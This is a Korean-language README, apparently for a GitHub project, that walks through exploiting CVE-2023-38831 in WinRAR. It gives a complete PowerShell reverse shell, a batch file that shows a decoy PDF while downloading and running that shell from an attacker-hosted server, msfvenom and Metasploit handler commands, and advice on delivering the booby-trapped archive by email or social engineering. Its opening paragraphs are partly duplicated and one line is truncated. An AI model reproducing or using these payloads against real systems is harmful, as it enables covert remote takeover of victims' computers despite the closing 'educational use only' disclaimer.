
이 프로젝트에는 **CVE-2023-38831**을 악용하는 Python 스크립트가 포함되어 있습니다. 이 취약점은 **WinRAR** 6.23 이전 버전에 존재합니다. 이 익스플로잇은 **악성 RAR 아카이브**를 생성하며, 피해자가 아카이브 내부의 무해해 보이는 파일(예: PDF)을 열면 임의 코드 실행을 트리거합니다.
technical_corp이 프로젝트는 WinRAR 6.23 이전 버전의 취약점인 CVE-2023-38831을 악용하는 Python 스크립트를 포함합니다. 이 익스플로잇은 피해자가 압축 파일 안의 정상적으로 보이는 파일(예: PDF)을 열 때 임의 코드 실행을 트리거하는 악성 RAR 아카이브를 생성합니다. 이 취약점은 2023년 4월부터 8월까지 실제 공격에 활발히 악용되었습니다.
CVE-2023-38831은 WinRAR의 취약점으로, 공격자가 피해자가 정상 파일과 동일한 이름의 악성 폴더가 함께 포함된 아카이브를 열 때 임의 코드를 실행할 수 있게 합니다. 사용자가 정상 파일과 상호작용하면 WinRAR는 실수로 악성 폴더의 내용을 처리하여 공격자의 페이로드를 실행합니다.
.bat 또는 .exe 파일)를 포함하는 악성 RAR 아카이브를 생성합니다.git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
호스팅된 PowerShell 리버스 셸을 다운로드하고 실행하기 위해 .rar 아카이브에 포함된 배치 파일을 사용할 것입니다.
PowerShell 리버스 셸 스크립트 생성:
Kali Linux 시스템에 다음 PowerShell 스크립트를 reverse.ps1로 저장하세요:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
<attacker_ip>를 Kali Linux 시스템의 IP로 바꾸세요.
<attacker_port>를 청취할 포트 번호로 바꾸세요.
Kali Linux 시스템에서 PowerShell 스크립트 호스팅:
PowerShell 스크립트가 저장된 폴더로 이동하세요:
cd /path/to/powershell-script
Python의 HTTP 서버를 사용하여 포트 80에서 파일을 호스팅하세요:
python3 -m http.server 80
그러면 reverse.ps1이 http://<attacker_ip>/reverse.ps1에서 사용 가능해집니다.
PowerShell 리버스 셸을 다운로드하고 실행할 배치 파일(script.bat)을 만드세요:
@echo off
:: 정상 PDF 열기
start bait.pdf
:: PowerShell 스크립트 다운로드 및 실행
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
CVE-2023-38831 익스플로잇 스크립트를 사용하여 배치 파일 삽입:
WinRAR 익스플로잇 스크립트를 실행하여 정상 PDF에 배치 파일을 삽입하세요:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
이 명령은 리버스 셸을 실행할 script.bat이 포함된 POC.rar 파일을 생성합니다.
리버스 셸을 잡기 위해 Netcat 리스너를 시작하세요:
nc -lvnp <attacker_port>
피해자가 POC.rar를 열고 PDF 파일을 실행하면 script.bat이 트리거됩니다. 스크립트는 서버에서 PowerShell 리버스 셸을 다운로드하여 실행합니다. Netcat 리스너에서 리버스 셸 연결을 받게 됩니다.
페이로드 생성(Metasploit 사용 시): msfvenom을 사용하여 리버스 셸 페이로드를 만들 수 있습니다:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
생성된 payload.exe 파일을 CVE-2023-WinRAR-Exploit 디렉토리로 이동하세요.
익스플로잇 생성기 실행: Python 스크립트를 실행하여 악성 RAR 파일을 생성하세요:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: 미끼 파일을 지정합니다(예: nmapcheatsheet.pdf). -p: 페이로드 파일을 지정합니다(예: script.bat 또는 payload.exe). -o: 출력 파일 이름을 지정합니다(예: POC.rar).
RAR 파일을 피해자에게 전달: 생성된 malicious_archive.rar은 사회 공학, 이메일 첨부 파일 또는 파일 공유 플랫폼을 통해 피해자에게 전달될 수 있습니다.
리스너 설정(Metasploit 사용 시): 공격자 시스템에서 리버스 셸을 잡을 리스너를 설정하세요:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
공격자가 피해자에게 악성 RAR 파일을 전달합니다. 피해자가 미끼 파일(예: nmapcheatsheet.pdf)을 열면 페이로드가 조용히 트리거됩니다. 페이로드(예: 리버스 셸)가 백그라운드에서 실행되어 공격자에게 피해자 시스템에 대한 제어권을 제공합니다.
이 프로젝트는 교육 목적으로만 제공됩니다. 저자는 이 익스플로잇의 오용에 대해 책임을 지지 않습니다. 동의가 있는 환경이나 승인된 침투 테스트 시나리오에서만 사용해야 합니다.